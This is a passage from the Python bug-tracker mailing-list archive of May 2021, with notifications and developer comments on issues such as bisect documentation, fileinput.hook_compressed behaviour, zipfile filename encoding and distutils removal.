python.org/message/GBD57CUUU4K5NMQDTEZXNCX76YISEIGQ/), this is a release blocker for 3.11 (it was not marked in the issue what Python version was associated, I am doing it with this message) so this doesn't block the 3.10 release. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:13:39 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 23:13:39 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621898019.83.0.588246997485.issue41282@roundup.psfhosted.org> miss-islington added the comment: New changeset 1c454eb2e4eb9e08ee94920c0e1ca7c8896371ec by Miss Islington (bot) in branch '3.10': bpo-41282: Fix broken `make install` (GH-26329) https://github.com/python/cpython/commit/1c454eb2e4eb9e08ee94920c0e1ca7c8896371ec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:16:51 2021 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 24 May 2021 23:16:51 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1621897753.05.0.47351331315.issue40222@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Ah, okay. So we're not on the hook to decide this today. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 19:51:16 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 24 May 2021 23:51:16 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1621900276.97.0.465875881461.issue38908@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24929 pull_request: https://github.com/python/cpython/pull/26337 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 20:01:33 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 25 May 2021 00:01:33 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621900893.78.0.824395452867.issue41282@roundup.psfhosted.org> Ned Deily added the comment: Petr's analysis and PR looked good and the PR is now merged to main and to 3.10 for 3.10.0b2. Thanks, Petr! Downgrading back to normal priority. ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 20:06:01 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 00:06:01 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621901161.86.0.161299454444.issue44206@roundup.psfhosted.org> STINNER Victor added the comment: Can't you please explain which kind of optimizations do you want to implement using such dict key version? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 20:31:07 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 00:31:07 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621902667.17.0.478391625368.issue44151@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24930 pull_request: https://github.com/python/cpython/pull/26338 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 20:44:26 2021 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 25 May 2021 00:44:26 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1621624727.31.0.107596782712.issue42109@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: I withdraw my objection against Hypothetlsis per se. Others should debate whether the 3rd party dependency is okay. -- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:07:38 2021 From: report at bugs.python.org (Mallika Bachan) Date: Tue, 25 May 2021 01:07:38 +0000 Subject: [issue44227] help(bisect.bisect_left) Message-ID: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> New submission from Mallika Bachan : Documentation issue. help(bisect.bisect_left) says: "... if x already appears in the list, i points just before the leftmost x already there." but in fact, it actually points *to* the leftmost x already there ---------- messages: 394280 nosy: mallika.bachan priority: normal severity: normal status: open title: help(bisect.bisect_left) type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:11:20 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 01:11:20 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621905080.85.0.825309385133.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 86779878dfc0bcb74b4721aba7fd9a84e9cbd5c7 by Miss Islington (bot) in branch '3.10': bpo-44151: linear_regression() minor API improvements (GH-26199) (GH-26338) https://github.com/python/cpython/commit/86779878dfc0bcb74b4721aba7fd9a84e9cbd5c7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:11:54 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 01:11:54 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> Message-ID: <1621905114.19.0.0238733055364.issue44227@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:12:41 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 01:12:41 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621905161.9.0.0842023116392.issue44151@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:21:27 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 01:21:27 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621905687.34.0.0386614956916.issue42109@roundup.psfhosted.org> Raymond Hettinger added the comment: Here's my two cents worth on the subject. * I use hypothesis during development, but don't have a need for in the the standard library. By the time code lands there, we normally have a specific idea of what edge cases needs to be in the tests. * For the most part, hypothesis has not turned up anything useful for the standard library. Most of the reports that we've gotten reflected a misunderstanding by the person running hypothesis rather than an actual bug. For example, in colorsys, an issue was reported about the color conversions not round-tripping, but that is an expected behavior for out of gamut conversions. Also, the matrices used are dictated by standards and do not give exact inverses even for in gamut conversions. * For numeric code, hypothesis is difficult to use and requires many restrictions on the bounds of variables and error tolerances. For example, when I have students with a function to evaluate the quadratic formula and test it with hypothesis, they struggle mightily (overflowing the discriminant, having 2*a close to zero, deciding whether the roots are sufficiently close, etc.) * The main area where hypothesis seems easy to use and gives some comfort is in simple roundtrips: assert zlib.decompress(zlib.compress(s)) == s. However, that is only a small fraction of our test cases. * Speed is another issue. During development, it doesn't matter much if Hypothesis takes a lot of time exercising one function. But in the standard library tests already run slow enough to impact development. If hypothesis were to run everytime we run a test suite, it would make the situation worse. * There is also a learning curve issue. We're adding more and more things that newcomer's have to learn before they can contribute (how to run blurb, how to use the argument clinic, etc). Using Hypothesis is a learned skill and takes time. TL;DR I really like Hypothesis but think it doesn't belong in standard library tests. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:29:52 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 01:29:52 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> Message-ID: <1621906192.51.0.622828941152.issue44227@roundup.psfhosted.org> Raymond Hettinger added the comment: I there is a misunderstanding here. The bisect functions never point *to* a value. Instead, they are documented to return "insertion points". Those always occur just before or after a specific value: values: 10 20 30 30 30 40 50 insertion points: | | | | | | | | 0 1 2 3 4 5 6 7 bisect_left(30) -------------^ bisect_right(30) ---------------------------^ As you can see, bisect_left() does in fact point JUST BEFORE the 30. Note this is also how slicing works. Here's an example: >>> from bisect import bisect_left, bisect_right >>> s = [10, 20, 30, 30, 30, 40, 50] >>> i = bisect_left(s, 30) >>> j = bisect_right(s, 30) >>> s[i : j] [30, 30, 30] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:42:38 2021 From: report at bugs.python.org (Swee Tat Lim) Date: Tue, 25 May 2021 01:42:38 +0000 Subject: [issue44228] [urllib] Error with handling of urllib.parse.quote. Terminates halfway Message-ID: <1621906958.14.0.440306929159.issue44228@roundup.psfhosted.org> New submission from Swee Tat Lim : Running this python3 -c "import urllib.parse; print (urllib.parse.quote('ab$cd&efg#hij$klm'))" Results: ab%26efg%23hij Expected Result: ab%26efg%23hij%26klm Not sure why it terminated midway ---------- components: Library (Lib) messages: 394284 nosy: sweetat priority: normal severity: normal status: open title: [urllib] Error with handling of urllib.parse.quote. Terminates halfway versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:56:18 2021 From: report at bugs.python.org (Hiroaki Mizuguchi) Date: Tue, 25 May 2021 01:56:18 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621907778.16.0.300933005279.issue44120@roundup.psfhosted.org> Hiroaki Mizuguchi added the comment: I understand. I am mistaken about class loading. I will withdraw this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 21:59:24 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 25 May 2021 01:59:24 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621907964.48.0.0847542053905.issue43109@roundup.psfhosted.org> Change by Ned Deily : ---------- pull_requests: +24931 pull_request: https://github.com/python/cpython/pull/26341 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 22:05:34 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 25 May 2021 02:05:34 +0000 Subject: [issue44093] compiler detection on macOS seems to be incorrect In-Reply-To: <1620615696.74.0.363750017848.issue44093@roundup.psfhosted.org> Message-ID: <1621908334.97.0.474007988754.issue44093@roundup.psfhosted.org> Change by Ned Deily : ---------- keywords: +patch pull_requests: +24932 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26341 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 22:06:52 2021 From: report at bugs.python.org (Mallika Bachan) Date: Tue, 25 May 2021 02:06:52 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> Message-ID: <1621908412.22.0.354536391071.issue44227@roundup.psfhosted.org> Change by Mallika Bachan : ---------- keywords: +patch pull_requests: +24933 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26340 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 22:32:44 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Tue, 25 May 2021 02:32:44 +0000 Subject: [issue5758] fileinput.hook_compressed returning bytes from gz file In-Reply-To: <1239752882.45.0.853698903963.issue5758@psf.upfronthosting.co.za> Message-ID: <1621909964.23.0.0406319425118.issue5758@roundup.psfhosted.org> Jason R. Coombs added the comment: The patch for this change has broken code that relied on the old behavior. For example: ``` import fileinput import bz2 import pathlib target = pathlib.Path('data.bz2') target.write_bytes(bz2.compress(b'Foo\nBar\nBiz')) inp = fileinput.FileInput([str(target)], openhook=fileinput.hook_compressed) for line in inp: print(line.decode().strip()) ``` That code passes on Python3.10a6 but on 3.10b1 fails with: ``` Traceback (most recent call last): File "/Users/jaraco/code/main/cmdix/text.py", line 10, in print(line.decode().strip()) AttributeError: 'str' object has no attribute 'decode'. Did you mean: 'encode'? ``` I encountered this issue in [this function and its test](https://github.com/jaraco/cmdix/blob/dc5fac3817ff9815b2f8d9a1dfad4258c14b1693/cmdix/lib.py#L165-L193). I'm struggling with how to adapt the code to provide a uniform interface on Python 3.6+. Perhaps a backport of hook_compressed is in order. ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 22:59:20 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Tue, 25 May 2021 02:59:20 +0000 Subject: [issue5758] fileinput.hook_compressed returning bytes from gz file In-Reply-To: <1239752882.45.0.853698903963.issue5758@psf.upfronthosting.co.za> Message-ID: <1621911560.05.0.283764611333.issue5758@roundup.psfhosted.org> Jason R. Coombs added the comment: A backport now exists (https://pypi.org/project/backports.hook_compressed) and addresses the issue (https://github.com/jaraco/cmdix/actions/runs/873404846). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 23:00:18 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 03:00:18 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621911618.56.0.595357096064.issue43109@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24934 pull_request: https://github.com/python/cpython/pull/26342 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 23:00:23 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 03:00:23 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621911623.69.0.600922404317.issue43109@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24935 pull_request: https://github.com/python/cpython/pull/26343 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 23:12:07 2021 From: report at bugs.python.org (John Belmonte) Date: Tue, 25 May 2021 03:12:07 +0000 Subject: [issue42194] Docs for argparse.BooleanOptionalAction missing "New in version 3.9" In-Reply-To: <1603972449.31.0.552627573436.issue42194@roundup.psfhosted.org> Message-ID: <1621912327.8.0.861276473968.issue42194@roundup.psfhosted.org> John Belmonte added the comment: A PR was opened over a year ago, but the author never signed CLA. How can we proceed with this doc fix? ---------- nosy: +John Belmonte _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 23:14:30 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 03:14:30 +0000 Subject: [issue42194] Docs for argparse.BooleanOptionalAction missing "New in version 3.9" In-Reply-To: <1603972449.31.0.552627573436.issue42194@roundup.psfhosted.org> Message-ID: <1621912470.67.0.394213450208.issue42194@roundup.psfhosted.org> Raymond Hettinger added the comment: > How can we proceed with this doc fix? Just make a new PR. I'll check it in and close the old one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 24 23:16:16 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 03:16:16 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621904858.62.0.585664963614.issue44227@roundup.psfhosted.org> Message-ID: <1621912576.18.0.797576507619.issue44227@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:04:56 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 25 May 2021 04:04:56 +0000 Subject: [issue5758] fileinput.hook_compressed returning bytes from gz file In-Reply-To: <1239752882.45.0.853698903963.issue5758@psf.upfronthosting.co.za> Message-ID: <1621915496.52.0.481897848626.issue5758@roundup.psfhosted.org> Inada Naoki added the comment: > I'm struggling with how to adapt the code to provide a uniform interface on Python 3.6+. It's easy. Just passing `mode="rb"`. ``` FileInput(filelist, mode="rb", openhook=fileinput.hook_compressed) ``` This is better than `backports.hook_compressed`, because it returns bytes always regardless file is compressed or uncompressed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:11:34 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 04:11:34 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621915894.64.0.912066424661.issue44151@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- pull_requests: +24936 pull_request: https://github.com/python/cpython/pull/26344 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:19:03 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 04:19:03 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621916343.53.0.914730032692.issue43109@roundup.psfhosted.org> miss-islington added the comment: New changeset 25a9cf197ea0d77abd49992a7751efa0046bb1e6 by Miss Islington (bot) in branch '3.10': bpo-43109: Fix --with-lto configure option on macOS (GH-26341) https://github.com/python/cpython/commit/25a9cf197ea0d77abd49992a7751efa0046bb1e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:21:35 2021 From: report at bugs.python.org (Ned Deily) Date: Tue, 25 May 2021 04:21:35 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621916495.49.0.97889552829.issue43109@roundup.psfhosted.org> Ned Deily added the comment: New changeset 3af61a7176a68bfeb349eeed314b9c3d7ebc3ad5 by Miss Islington (bot) in branch '3.9': bpo-43109: Fix --with-lto configure option on macOS (GH-26341) (GH-26343) https://github.com/python/cpython/commit/3af61a7176a68bfeb349eeed314b9c3d7ebc3ad5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:31:48 2021 From: report at bugs.python.org (Daniel Hillier) Date: Tue, 25 May 2021 04:31:48 +0000 Subject: [issue40172] ZipInfo corrupts file names in some old zip archives In-Reply-To: <1585925740.74.0.493426565247.issue40172@roundup.psfhosted.org> Message-ID: <1621917107.99.0.234289748017.issue40172@roundup.psfhosted.org> Daniel Hillier added the comment: zipfile decodes filenames using cp437 or unicode and encodes using ascii or unicode. It seems like zipfile has a preference for writing filenames in unicode rather than cp437. Is zipfile's preference for writing filenames in unicode rather than cp437 intentional? Is the bug you're seeing related to using zipfile to open and rewrite old zips and not being able to open the rewritten files in an old program that doesn't support the unicode flag? We could address this two ways: - Change ZipInfo._encodeFilenameFlags() to always encode to cp437 if possible - Add a flag to write filenames in cp437 or unicode, otherwise the current situation of ascii or unicode I guess the choice will depend on if preferring unicode rather than cp437 is intentional and if writing filenames in cp437 will break anything (it shouldn't break anything according to Appendix D of https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) Here's a test for your current patch (I'd probably put it alongside OtherTests.test_read_after_write_unicode_filenames as this test was adapted from that one) class OtherTests(unittest.TestCase): ... def test_read_after_write_cp437_filenames(self): fname = 'test_cp437_?' with zipfile.ZipFile(TESTFN2, 'w') as zipfp: zipfp.writestr(fname, b'sample') with zipfile.ZipFile(TESTFN2) as zipfp: zinfo = zipfp.infolist()[0] # Ensure general purpose bit 11 (Language encoding flag # (EFS)) is unset to indicate the filename is not unicode self.assertFalse(zinfo.flag_bits & 0x800) self.assertEqual(zipfp.read(fname), b'sample') ---------- nosy: +dhillier _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 00:36:44 2021 From: report at bugs.python.org (Mallika Bachan) Date: Tue, 25 May 2021 04:36:44 +0000 Subject: [issue44227] help(bisect.bisect_left) In-Reply-To: <1621906192.51.0.622828941152.issue44227@roundup.psfhosted.org> Message-ID: Mallika Bachan added the comment: Conceptually, yes, but the function does return an index, and values are stored at these indices. The index it returns holds the leftmost occurrence of the target (should the target exist) >>> bisect.bisect_left([1,2,2,3],2) 1 If we insert at this index, it will push the current value right, so conceptually, sure, it can help to think of the insertion point as being just before the leftmost target value. But while bisect_right does in fact return value i that "points just beyond the rightmost x already there" ("just beyond" gets interpreted as "the next one", because only whole indices are used), making the statement "i points just before the leftmost x already there" for the return value of bisect_left definitely appears incorrect. On Mon, May 24, 2021 at 6:30 PM Raymond Hettinger wrote: > > Raymond Hettinger added the comment: > > I there is a misunderstanding here. The bisect functions never point *to* > a value. Instead, they are documented to return "insertion points". Those > always occur just before or after a specific value: > > values: 10 20 30 30 30 40 50 > insertion points: | | | | | | | | > 0 1 2 3 4 5 6 7 > bisect_left(30) -------------^ > bisect_right(30) ---------------------------^ > > As you can see, bisect_left() does in fact point JUST BEFORE the 30. > > Note this is also how slicing works. Here's an example: > > >>> from bisect import bisect_left, bisect_right > >>> s = [10, 20, 30, 30, 30, 40, 50] > >>> i = bisect_left(s, 30) > >>> j = bisect_right(s, 30) > >>> s[i : j] > [30, 30, 30] > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 02:01:29 2021 From: report at bugs.python.org (malcomvx) Date: Tue, 25 May 2021 06:01:29 +0000 Subject: [issue39816] More descriptive error message than "too many values to unpack" In-Reply-To: <1583091348.39.0.0422747327362.issue39816@roundup.psfhosted.org> Message-ID: <1621922489.38.0.119521923643.issue39816@roundup.psfhosted.org> malcomvx added the comment: Python functions can return multiple variables . These variables can be stored in variables directly. This is a unique property of Python , other programming languages such as C++ or Java do not support this by default. The valueerror: too many values to unpack occurs during a multiple-assignment where you either don't have enough objects to assign to the variables or you have more objects to assign than variables. If for example myfunction() returned an iterable with three items instead of the expected two then you would have more objects than variables necessary to assign to. http://net-informations.com/python/err/value.htm ---------- nosy: +malcomvx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 02:04:13 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 06:04:13 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621922653.03.0.290830097574.issue44151@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24937 pull_request: https://github.com/python/cpython/pull/26345 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 02:23:19 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 25 May 2021 06:23:19 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621923799.92.0.585506754037.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset a6825197e9f2bd730d8da38f223608411e508695 by Miss Islington (bot) in branch '3.10': bpo-44151: Various grammar, word order, and markup fixes (GH-26344) (GH-26345) https://github.com/python/cpython/commit/a6825197e9f2bd730d8da38f223608411e508695 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:01:33 2021 From: report at bugs.python.org (Mark Dickinson) Date: Tue, 25 May 2021 07:01:33 +0000 Subject: [issue33213] crypt function not hashing properly on Mac (uses a specific salt) In-Reply-To: <1522744018.72.0.467229070634.issue33213@psf.upfronthosting.co.za> Message-ID: <1621926093.24.0.465606664671.issue33213@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: -mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:18:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 07:18:15 +0000 Subject: [issue2771] Test issue In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za> Message-ID: <1621927095.86.0.281926533885.issue2771@roundup.psfhosted.org> STINNER Victor added the comment: test IRC bot ---------- nosy: +vstinner resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:18:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 07:18:54 +0000 Subject: [issue2771] Test issue In-Reply-To: <1210005645.74.0.283923986194.issue2771@psf.upfronthosting.co.za> Message-ID: <1621927134.5.0.851283409902.issue2771@roundup.psfhosted.org> STINNER Victor added the comment: Close (test IRC bot). Test is successful! "09:18 < irker301> vstinner #2771/Test issue: [open] test IRC bot https://bugs.python.org/issue2771" logged on #python-dev-infras https://github.com/python/psf-salt/issues/208#event-4790301517 ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:24:56 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 07:24:56 +0000 Subject: [issue44229] test_get_server_certificate fails on macOS Message-ID: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> New submission from Erlend E. Aasland : See https://github.com/python/cpython/pull/26104/checks?check_run_id=2662511684 ====================================================================== ERROR: test_get_server_certificate (test.test_ssl.SimpleBackgroundTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2132, in test_get_server_certificate _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2329, in _test_get_server_certificate pem = ssl.get_server_certificate((host, port), ca_certs=cert) File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1520, in get_server_certificate with create_connection(addr, timeout=timeout) as sock: File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 844, in create_connection raise err File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 832, in create_connection sock.connect(sa) ConnectionRefusedError: [Errno 61] Connection refused ---------- components: Tests messages: 394299 nosy: christian.heimes, erlendaasland priority: normal severity: normal status: open title: test_get_server_certificate fails on macOS versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:25:33 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 07:25:33 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621927533.02.0.808908988801.issue44229@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: test_get_server_certificate fails on macOS -> test_get_server_certificate fails intermittently on macOS _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:26:46 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 07:26:46 +0000 Subject: [issue44043] 3.10 b1 armhf Bus Error in hashlib test: test_gil In-Reply-To: <1620192685.97.0.632681008338.issue44043@roundup.psfhosted.org> Message-ID: <1621927606.37.0.735412209716.issue44043@roundup.psfhosted.org> Christian Heimes added the comment: The fix was merged into 3.10 almost 3 weeks ago, https://github.com/python/cpython/commit/3b2a45ff95a68acc8276b37678c98740a232f6d4 . I forgot to close this bug. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 03:30:56 2021 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 25 May 2021 07:30:56 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621927856.94.0.45739304995.issue44120@roundup.psfhosted.org> Change by Vinay Sajip : ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 04:09:51 2021 From: report at bugs.python.org (Inada Naoki) Date: Tue, 25 May 2021 08:09:51 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621930191.08.0.781915454179.issue44206@roundup.psfhosted.org> Inada Naoki added the comment: For class dict, there is a method cache. For instance dict, there is a LOAD_ATTR optimization. https://github.com/python/cpython/blob/b11a951f16f0603d98de24fee5c023df83ea552c/Python/ceval.c#L3458 So I want to see the performance gain of the optimization using dk_version before adding dk_version. Additionally, I am not sure why 32bit is enough for dk_version. It is another reason I want to see the optimization before adding dk_version. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 04:42:47 2021 From: report at bugs.python.org (John Belmonte) Date: Tue, 25 May 2021 08:42:47 +0000 Subject: [issue42194] Docs for argparse.BooleanOptionalAction missing "New in version 3.9" In-Reply-To: <1603972449.31.0.552627573436.issue42194@roundup.psfhosted.org> Message-ID: <1621932167.17.0.25262774611.issue42194@roundup.psfhosted.org> Change by John Belmonte : ---------- nosy: +jbelmonte nosy_count: 6.0 -> 7.0 pull_requests: +24938 pull_request: https://github.com/python/cpython/pull/26348 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 04:52:47 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 25 May 2021 08:52:47 +0000 Subject: [issue41282] Deprecate and remove distutils In-Reply-To: <1594542625.3.0.789939298104.issue41282@roundup.psfhosted.org> Message-ID: <1621932767.24.0.697614442052.issue41282@roundup.psfhosted.org> Petr Viktorin added the comment: Thank you for doing the hard part, Ned! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:00:21 2021 From: report at bugs.python.org (Martin Panter) Date: Tue, 25 May 2021 09:00:21 +0000 Subject: 